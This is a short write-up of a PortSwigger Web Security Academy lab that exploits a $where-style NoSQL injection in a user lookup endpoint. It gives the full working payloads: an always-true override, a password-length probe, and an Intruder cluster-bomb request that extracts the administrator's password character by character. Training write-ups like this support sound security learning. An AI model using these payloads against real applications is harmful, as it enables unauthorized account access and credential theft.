| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | NoSQL Injection / Data Extraction |
| Difficulty | Practitioner |
| Objective | Exploit a $where-style NoSQL injection in the user lookup endpoint to extract the administrator's password character by character |
Exploiting NoSQL Injection to Extract Data¶
I logged in as wiener:peter. HTTP history showed a lookup request:
GET /user/lookup?user=wiener HTTP/2
Querying the administrator directly:
GET /user/lookup?user=administrator
A single quote broke the query — syntax injection confirmed, $where-style JavaScript evaluation. The always-true override returned the administrator record:
GET /user/lookup?user='||true||'
This is the NoSQL equivalent of SQL boolean-based blind injection — inject a condition that returns different responses for true/false, test one bit at a time, reconstruct the secret. The syntax is JavaScript (this.password[0] == 'a') rather than SQL, but the logic is identical.
Checking password length first to bound the Intruder attack precisely — an 8-character password means 8 × 36 = 288 requests rather than an open-ended sweep:
GET /user/lookup?user=administrator' && this.password.length == 8 || 'a'=='b
When length == 8 returned the administrator data, the password length was confirmed. The || 'a'=='b terminator ensures a definite false branch when the condition is false — making the boolean oracle clean.
Extracting each character with a cluster bomb attack — position §0§ cycling 0-7, character §x§ cycling a-z and 0-9:
GET /user/lookup?user=administrator' && this.password[§0§]=='§x§
Cluster bomb tests every position/character combination simultaneously — pitch/sniper would require knowing one variable first. The grep match filter surfaces only true responses; reconstructing the password from the matching rows is straightforward.
Lab solved :P